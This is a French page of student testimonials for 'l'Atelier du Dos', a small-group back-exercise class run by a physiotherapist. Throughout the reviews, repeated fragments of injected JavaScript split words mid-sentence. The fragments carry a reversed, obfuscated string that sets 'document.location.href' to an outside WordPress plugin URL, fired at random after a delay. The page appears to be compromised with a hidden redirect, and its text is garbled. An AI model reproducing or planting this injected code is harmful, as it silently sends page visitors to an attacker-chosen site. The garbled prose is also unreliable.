J’ai découvert l’Atelier du Dos après une intervention chirurgicale « arthrodèse lombo-sacrée ». Depuis j’ai retrouvé une mobilité et une souplesse que j’avais perdues. Les exercices proposés sont toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours progressifs et adaptés à chacun, en tenant compte de sa pathologie personnelle. C’est un travail de groupe dirigé par une kiné dynamique et sympathique toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours en recherche d’une efficacité maximale. Je recommande !

J’apprécie les exercices guidés, adaptés à nos capacités, à notre âge, notre endurance. Le fait d’être un petit groupe offre un moment de convivialité et d’effort bien sûr.

Motivation pour bouger, amélioration de la mobilisation. Adapté à son niveau. Efficacité et convivialité !

Les cours sont faits avec des discussions et de l’humour, avec un grand professionnalisme aussi, ce qui rend les séances très sympas. Je ne fais plus attention à mes gestes et à ma façon de me tenir.

Les cours sont variés et surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout dynamiques. On ne s’ennuie jamais !!! A conseiller.

Les cours m’ont permis de ne pas avoir de maux de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos malgré mon poids croissant, de me détendre, de connaitre quelque chose de différent avec les élastiques (comme faire des pompes sans trop d’efforts) et la convivialité du cours et du groupe ont été très appréciés.

Les exercices sont variés. J’ai acquis plus de souplesse et d’équilibre. J’ai plus d’assurance pour les exercices avec les gros ballons.

Plus de souplesse, moins d’appréhension pour bouger, de l’assurance physique et morale, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc plus de joie de vivre.

Prise de conscience des exercices nécessaires pour muscler et assouplir son toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos et éviter aussi le « mal de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos ».

Tous les cours sont adaptés à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous. Cours très variés, bonne ambiance, super !

Suivie depuis 3 ans pour une pathologie inflammatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire chronique, l’Atelier du Dos permet un maintien de la musculature et des acquis moteurs. Le groupe est un soutien très porteur. Les propositions sont très originales et diversifiées. Une écoute attentive professionnelle et individualisée est mise en œuvre.

Le fait qu’Audrey soit Kiné rassure. Elle nous repositionne ou nous indique un autre mouvement si l’on ne parvient pas à faire le premier. Les cours en musique apportent de la sérénité. Bonne entente entre la prof et les élèves. J’étais allée dans des salles de sport et je m’étais fait mal. Donc vive l’Atelier du Dos !

Une meilleure maîtrise de l’équilibre. Un bon moment de détente musculaire et j’apprécie le travail avec les sangles alors que j’avais un a-priori négatif au départ.

Diversité des ateliers, meilleures postures liées aux activités du quotidien.